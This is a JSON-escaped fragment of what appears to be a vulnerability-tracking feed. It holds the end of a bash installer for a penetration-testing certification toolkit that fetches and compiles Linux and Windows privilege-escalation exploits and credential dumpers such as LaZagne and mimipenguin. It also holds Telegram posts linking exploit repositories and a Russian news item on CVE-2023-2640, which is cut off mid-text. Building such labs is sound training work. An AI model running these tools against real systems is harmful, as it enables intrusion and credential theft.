\"false\"\n    else\n        warn \"JuicyPotato already present\"\n    fi\n\n    # PrintSpoofer\n    if [ ! -f \"$DW/PrintSpoofer/PrintSpoofer64.exe\" ]; then\n        mkdir -p \"$DW/PrintSpoofer\"\n        download \"PrintSpoofer64.exe\" \\\n            \"https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer64.exe\" \\\n            \"$DW/PrintSpoofer/PrintSpoofer64.exe\" \"false\"\n        download \"PrintSpoofer32.exe\" \\\n            \"https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer32.exe\" \\\n            \"$DW/PrintSpoofer/PrintSpoofer32.exe\" \"false\"\n    else\n        warn \"PrintSpoofer already present\"\n    fi\n\n    # FullPowers\n    if [ ! -f \"$DW/FullPowers/FullPowers.exe\" ]; then\n        mkdir -p \"$DW/FullPowers\"\n        download \"FullPowers.exe\" \\\n            \"https://github.com/itm4n/FullPowers/releases/latest/download/FullPowers.exe\" \\\n            \"$DW/FullPowers/FullPowers.exe\" \"false\"\n    else\n        warn \"FullPowers already present\"\n    fi\n\n    # RunasCs\n    if [ ! -f \"$DW/RunasCs/RunasCs.exe\" ]; then\n        mkdir -p \"$DW/RunasCs\"\n        download_zip \"RunasCs (Privesc)\" \\\n            \"https://github.com/antonioCoco/RunasCs/releases/latest/download/RunasCs.zip\" \\\n            \"$DW/RunasCs\"\n    else\n        warn \"RunasCs (Privesc) already present\"\n    fi\n\n    # Ghostpack binaries: Seatbelt, SharpUp, SharpChrome\n    for bin in Seatbelt.exe SharpUp.exe SharpChrome.exe; do\n        local bname=\"${bin%%.*}\"\n        mkdir -p \"$DW/$bname\"\n        if [ ! -f \"$DW/$bname/$bin\" ]; then\n            download \"$bin\" \"$GHOSTPACK/$bin\" \"$DW/$bname/$bin\" \"false\"\n        else\n        warn \"$bin already present\"\n    fi\n    done\n\n    # SeBackupPrivilege DLLs\n    if [ ! -f \"$DW/SeBackupPrivilege/SeBackupPrivilegeCmdLets.dll\" ]; then\n        mkdir -p \"$DW/SeBackupPrivilege\"\n        local SBP_BASE=\"https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug\"\n        download \"SeBackupPrivilegeCmdLets.dll\" \"$SBP_BASE/SeBackupPrivilegeCmdLets.dll\" \"$DW/SeBackupPrivilege/SeBackupPrivilegeCmdLets.dll\" \"false\"\n        download \"SeBackupPrivilegeUtils.dll\"   \"$SBP_BASE/SeBackupPrivilegeUtils.dll\"   \"$DW/SeBackupPrivilege/SeBackupPrivilegeUtils.dll\"   \"false\"\n    else\n        warn \"SeBackupPrivilege already present\"\n    fi\n\n    # LaZagne.exe (Windows)\n    if [ ! -f \"$DW/LaZagne/LaZagne.exe\" ]; then\n        mkdir -p \"$DW/LaZagne\"\n        download \"LaZagne.exe\" \\\n            \"https://github.com/AlessandroZ/LaZagne/releases/latest/download/LaZagne.exe\" \\\n            \"$DW/LaZagne/LaZagne.exe\" \"false\"\n    else\n        warn \"LaZagne.exe (Privesc/Windows) already present\"\n    fi\n\n    # ---- Linux ----\n    local DL=\"$TOOLS_DIR/Privesc/Linux\"\n\n    clone \"CVE-2021-3156 BaronSamedit\" \"https://github.com/blasty/CVE-2021-3156.git\"                          \"$DL/Baronsamedit\"\n    build_make \"CVE-2021-3156\"         \"$DL/Baronsamedit\"\n\n    clone \"CVE-2022-2588 DirtyCred\"    \"https://github.com/Markakd/CVE-2022-2588.git\"                         \"$DL/DirtyCred\"\n\n    clone \"CVE-2022-0847 DirtyPipe\"    \"https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git\"  \"$DL/DirtyPipe\"\n    build_make \"CVE-2022-0847\"         \"$DL/DirtyPipe\"\n\n    clone \"fail2ban exploit\"           \"https://github.com/rvizx/fail2ban.git\"                                 \"$DL/fail2ban\"\n\n    clone \"CVE-2023-2640 GameOverlay\"  \"https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629.git\"             \"$DL/GameOverlay\"\n\n    clone \"CVE-2021-3493 OverlayFS\"    \"https://github.com/briskets/CVE-2021-3493.git\"                        \"$DL/OverlayFS-CVE-2021-3493\"\n    if [ -f \"$DL/OverlayFS-CVE-2021-3493/exploit.c\" ]; then\n        log \"Compiling CVE-2021-3493...\"\n        gcc \"$DL/OverlayFS-CVE-2021-3493/exploit.c\" -o \"$DL/OverlayFS-CVE-2021-3493/exploit\" 2>/dev/null \\\n            && log \"CVE-2021-3493 compiled OK\" || warn \"CVE-2021-3493 compile failed\"\n    fi\n\n    clone \"CVE-2023-0386 OverlayFS\"    \"https://github.com/xkaneiki/CVE-2023-0386\"                            \"$DL/OverlayFS-CVE-2023-0386\"\n    build_make \"CVE-2023-0386\"         \"$DL/OverlayFS-CVE-2023-0386\"\n\n    clone \"PwnKit\"                     \"https://github.com/ly4k/PwnKit\"                                        \"$DL/PwnKit\"\n    build_make \"PwnKit\"                \"$DL/PwnKit\"\n\n    clone \"CVE-2024-1086\"              \"https://github.com/Notselwyn/CVE-2024-1086\"                            \"$DL/use_after_free-CVE-2024-1086\"\n\n    # ---- App ----\n    clone \"Nexus-Sonatype-RCE\" \\\n        \"https://github.com/aaryan-11-x/Nexus-Sonatype-Repository-Manager-Groovy-Script-RCE-Authenticated-.git\" \\\n        \"$TOOLS_DIR/Privesc/App/Nexus-Sonatype-Repository-Manager\"\n}\n\n# ==============================================================================\n# RECON\n# ==============================================================================\n\ninstall_recon() {\n    section \"Reconnaissance Tools\"\n\n    # ---- Linux ----\n    local DL=\"$TOOLS_DIR/Recon/Linux\"\n\n    clone \"LaZagne\"          \"https://github.com/AlessandroZ/LaZagne.git\"              \"$DL/LaZagne\"\n    pip_install \"LaZagne\"    \"$DL/LaZagne\"\n\n    clone \"LinEnum\"          \"https://github.com/rebootuser/LinEnum.git\"               \"$DL/LinEnum\"\n    chmod +x \"$DL/LinEnum/LinEnum.sh\" 2>/dev/null || true\n\n    clone \"linuxprivchecker\" \"https://github.com/sleventyeleven/linuxprivchecker.git\"  \"$DL/linuxprivchecker\"\n\n    clone \"mimipenguin\"      \"https://github.com/huntergregal/mimipenguin.git\"         \"$DL/mimipenguin\"\n    build_make \"mimipenguin\" \"$DL/mimipenguin\"\n\n    # linpeas (precompiled)\n    if [ ! -f \"$DL/linpeas/linpeas.sh\" ]; then\n        mkdir -p \"$DL/linpeas\"\n        download \"linpeas.sh\" \\\n            \"https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh\" \\\n            \"$DL/linpeas/linpeas.sh\"\n    else\n        warn \"linpeas already present\"\n    fi\n\n    # pspy (precompiled)\n    if [ ! -f \"$DL/pspy/pspy64\" ]; then\n        mkdir -p \"$DL/pspy\"\n        download \"pspy64\" \"https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64\" \"$DL/pspy/pspy64\"\n        download \"pspy32\" \"https://github.com/DominicBreuker/pspy/releases/latest/download/pspy32\" \"$DL/pspy/pspy32\"\n    else\n        warn \"pspy already present\"\n    fi\n\n    # ---- Network ----\n    local DN=\"$TOOLS_DIR/Recon/Network\"\n\n    clone \"PCredz\"           \"https://github.com/lgandx/PCredz.git\"                   \"$DN/PCredz\"\n    pip_install \"PCredz\"     \"$DN/PCredz\"\n\n    # nmap static binary\n    if [ ! -f \"$DN/nmap-static-binary/nmap\" ]; then\n        mkdir -p \"$DN/nmap-static-binary\"\n        download \"nmap (static linux)\" \\\n            \"https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap\" \\\n            \"$DN/nmap-static-binary/nmap\"\n        download \"nmap.exe (static win)\" \\\n            \"https://github.com/andrew-d/static-binaries/raw/master/binaries/windows/x86/nmap.exe\" \\\n            \"$DN/nmap-static-binary/nmap.exe\" \"false\"\n    else\n        warn \"nmap static binary already present\"\n    fi\n\n    # rustscan\n    if [ ! -f \"$DN/rustscan/rustscan\" ]; then\n        mkdir -p \"$DN/rustscan\"\n        log \"Downloading rustscan...\"\n        local RS_URL\n        RS_URL=$(curl -fsSL \"https://api.github.com/repos/RustScan/RustScan/releases/latest\" \\\n            | grep -o '\"browser_download_url\": *\"[^\"]*amd64\\.deb\"' \\\n            | grep -o 'https://[^\"]*' | head -1)\n        if [ -n \"$RS_URL\" ]; then\n            curl -fsSL \"$RS_URL\" -o /tmp/rustscan.deb \\\n                && sudo dpkg -i /tmp/rustscan.deb \\\n                && cp \"$(command -v rustscan)\" \"$DN/rustscan/rustscan\" 2>/dev/null \\\n                && rm -f /tmp/rustscan.deb \\\n                || warn \"rustscan install failed\"\n        else\n            warn \"rustscan: could not resolve .deb URL \u2014 check github.com/RustScan/RustScan/releases\"\n        fi\n    else\n        warn \"rustscan already present\"\n    fi\n\n    # ---- Web ----\n    local DW=\"$TOOLS_DIR/Recon/Web\"\n\n    clone \"Bashfuscator\"      \"https://github.com/Bashfuscator/Bashfuscator\"           \"$DW/Bashfuscator\"\n    pip_install \"Bashfuscator\" \"$DW/Bashfuscator\"\n\n    clone \"FinalRecon\"        \"https://github.com/thewhiteh4t/FinalRecon.git\"          \"$DW/FinalRecon\"\n    pip_install \"FinalRecon\"  \"$DW/FinalRecon\"\n\n    clone \"liffy\"             \"https://github.com/mzfr/liffy.git\"                      \"$DW/liffy\"\n    pip_install \"liffy\"       \"$DW/liffy\"\n\n    clone \"Security-Wordlist\" \"https://github.com/DragonJAR/Security-Wordlist.git\"     \"$DW/Security-Wordlist\"\n\n    clone \"subbrute\"          \"https://github.com/TheRook/subbrute.git\"                \"$DW/subbrute\"\n\n    clone \"username-anarchy\"  \"https://github.com/urbanadventurer/username-anarchy.git\" \"$DW/username-anarchy\"\n\n    clone \"XSStrike\"          \"https://github.com/s0md3v/XSStrike.git\"                 \"$DW/XSStrike\"\n    pip_install \"XSStrike\"    \"$DW/XSStrike\"\n\n    # Aquatone (precompiled)\n    if [ ! -f \"$DW/Aquatone/aquatone\" ]; then\n        mkdir -p \"$DW/Aquatone\"\n        local AQ_URL\n        AQ_URL=$(curl -fsSL \"https://api.github.com/repos/michenriksen/aquatone/releases/latest\" \\\n            | grep -o '\"browser_download_url\": *\"[^\"]*linux_amd64[^\"]*\\.zip\"' \\\n            | grep -o 'https://[^\"]*' | head -1)\n        if [ -n \"$AQ_URL\" ]; then\n            download_zip \"aquatone\" \"$AQ_URL\" \"$DW/Aquatone\"\n            chmod +x \"$DW/Aquatone/aquatone\" 2>/dev/null || true\n        else\n            warn \"aquatone: could not resolve download URL\"\n        fi\n    else\n        warn \"aquatone already present\"\n    fi\n\n    # ---- Windows ----\n    local DWWIN=\"$TOOLS_DIR/Recon/Windows\"\n    local GHOSTPACK=\"https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master\"\n\n    for bin in Seatbelt.exe SharpChrome.exe SharpUp.exe; do\n        if [ ! -f \"$DWWIN/$bin\" ]; then\n            download \"$bin\" \"$GHOSTPACK/$bin\" \"$DWWIN/$bin\" \"false\"\n        else\n        warn \"$bin (Recon/Windows) already present\"\n    fi\n    done\n\n    # LaZagne.exe (Windows recon copy)\n    if [ ! -f \"$DWWIN/LaZagne.exe\" ]; then\n        download \"LaZagne.exe (Recon/Windows)\" \\\n            \"https://github.com/AlessandroZ/LaZagne/releases/latest/download/LaZagne.exe\" \\\n            \"$DWWIN/LaZagne.exe\" \"false\"\n    else\n        warn \"LaZagne.exe (Recon/Windows) already present\"\n    fi\n}\n\n# ==============================================================================\n# SUMMARY\n# ==============================================================================\n\nprint_summary() {\n    section \"Installation Complete\"\n    log \"Tools installed to: $TOOLS_DIR\"\n    log \"Log file: $LOG_FILE\"\n\n    local warns errors\n    warns=$(grep -c '^\\[!\\]' \"$LOG_FILE\" 2>/dev/null || echo 0)\n    errors=$(grep -c '^\\[-\\]' \"$LOG_FILE\" 2>/dev/null || echo 0)\n\n    echo \"\"\n    echo -e \"${YELLOW}Warnings:${NC} $warns  ${RED}Errors:${NC} $errors\"\n    echo \"\"\n    if [ \"$errors\" -gt 0 ]; then\n        echo -e \"${RED}Failed installs:${NC}\"\n        grep '^\\[-\\]' \"$LOG_FILE\"\n    fi\n    echo \"\"\n    echo -e \"${YELLOW}NOTE:${NC} Windows .exe files are ready to transfer to target hosts.\"\n    echo -e \"${YELLOW}NOTE:${NC} Python tools with venvs may need: python3 -m venv venv && pip3 install -r requirements.txt\"\n    echo -e \"${YELLOW}NOTE:${NC} Some C exploits may need kernel-version-specific recompilation on target.\"\n}\n\n# ==============================================================================\n# MAIN\n# ==============================================================================\n\nmain() {\n    echo -e \"${BLUE}\"\n    cat <<'BANNER'\n  \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n  \u2551   HTB CPTS Tool Installer \u2014 Parrot OS (HTB Edition)  \u2551\n  \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\nBANNER\n    echo -e \"  Tools Dir : $TOOLS_DIR\"\n    echo -e \"  Log File  : $LOG_FILE${NC}\"\n    echo \"\"\n\n    preflight\n    install_activedir\n    install_payloads\n    install_pivot\n    install_privesc\n    install_recon\n    print_summary\n}\n\nmain \"$@\"\n", "creation_timestamp": "2026-07-01T20:11:33.645413Z"}, {"uuid": "9eca952f-cca3-408c-b747-4c664b46e592", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/cyberwarehouse/165", "content": "#exploit\n1. CVE-2023-32629:\nUbuntu Privilege Escalation bash one-liner\nhttps://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640---POC-Escalation\n\n2. Unpatched Powerful SSRF in Exchange OWA - Getting Response Through Attachments\nhttps://www.zerodayinitiative.com/blog/2023/11/1/unpatched-powerful-ssrf-in-exchange-owa-getting-response-through-attachments\n\n3. Container Vulnerability Exploits\nhttps://github.com/h4ckm310n/Container-Vulnerability-Exploit", "creation_timestamp": "2026-07-17T11:00:07.233402Z"}, {"uuid": "cf8ac734-3dd8-4c70-8a47-0767bb965fd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/165", "content": "#exploit\n1. CVE-2023-32629:\nUbuntu Privilege Escalation bash one-liner\nhttps://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640---POC-Escalation\n\n2. Unpatched Powerful SSRF in Exchange OWA - Getting Response Through Attachments\nhttps://www.zerodayinitiative.com/blog/2023/11/1/unpatched-powerful-ssrf-in-exchange-owa-getting-response-through-attachments\n\n3. Container Vulnerability Exploits\nhttps://github.com/h4ckm310n/Container-Vulnerability-Exploit", "creation_timestamp": "2026-07-18T00:00:28.401313Z"}, {"uuid": "3ce652f9-3d3c-45da-ae6c-b7a2c1af8437", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/EchelonEyes/1791", "content": "GameOver(lay): \u0434\u0432\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Linux \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0438 40% \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Ubuntu\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Wiz \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0434\u0432\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Ubuntu, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 40% \u0432\u0441\u0435\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Ubuntu. \n\n\u00ab\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Ubuntu \u043f\u0440\u0435\u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0442 \u0432 \u043e\u0431\u043b\u0430\u043a\u0435, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0438 \u0441\u043b\u0443\u0436\u0430\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 [\u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0443\u0441\u043b\u0443\u0433]\u00bb, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Wiz.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u043a\u0430\u043a CVE-2023-32629 \u0438 CVE-2023-2640 (\u0443 \u043e\u0431\u0435\u0438\u0445 \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,8), \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c GameOver(lay), \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 OverlayFS \u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f\u0445, \u0447\u0442\u043e \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. Overlay Filesystem \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0440\u0435\u0432\u044c\u0435\u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u0438\u043b\u0438 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0432 \u0435\u0434\u0438\u043d\u0443\u044e \u0443\u043d\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b Ubuntu 24 \u0438\u044e\u043b\u044f 2023 \u0433\u043e\u0434\u0430. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u044e\u0442 \u0442\u043e\u0442 \u0444\u0430\u043a\u0442, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043d\u0435\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u044f\u0434\u0440\u0435 Linux, \u0432\u043d\u0435\u0441\u0435\u043d\u043d\u044b\u0435 Ubuntu, \u043c\u043e\u0433\u0443\u0442 \u0438\u043c\u0435\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0434\u0432\u0438\u0434\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #Ubuntu", "creation_timestamp": "2026-07-26T02:02:23.852672Z"}, {"uuid": "c8ebbd84-b7ce-4223-a177-907d53a52f9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/EchelonEyes/1791", "content": "GameOver(lay): \u0434\u0432\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Linux \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0438 40% \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Ubuntu\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Wiz \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0434\u0432\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Ubuntu, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 40% \u0432\u0441\u0435\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Ubuntu. \n\n\u00ab\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Ubuntu \u043f\u0440\u0435\u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0442 \u0432 \u043e\u0431\u043b\u0430\u043a\u0435, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0438 \u0441\u043b\u0443\u0436\u0430\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 [\u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0443\u0441\u043b\u0443\u0433]\u00bb, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Wiz.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u043a\u0430\u043a CVE-2023-32629 \u0438 CVE-2023-2640 (\u0443 \u043e\u0431\u0435\u0438\u0445 \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,8), \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c GameOver(lay), \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 OverlayFS \u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f\u0445, \u0447\u0442\u043e \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. Overlay Filesystem \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0440\u0435\u0432\u044c\u0435\u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u0438\u043b\u0438 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0432 \u0435\u0434\u0438\u043d\u0443\u044e \u0443\u043d\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b Ubuntu 24 \u0438\u044e\u043b\u044f 2023 \u0433\u043e\u0434\u0430. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u044e\u0442 \u0442\u043e\u0442 \u0444\u0430\u043a\u0442, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043d\u0435\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u044f\u0434\u0440\u0435 Linux, \u0432\u043d\u0435\u0441\u0435\u043d\u043d\u044b\u0435 Ubuntu, \u043c\u043e\u0433\u0443\u0442 \u0438\u043c\u0435\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0434\u0432\u0438\u0434\u0435\u043d\u043d\u044b\u0435 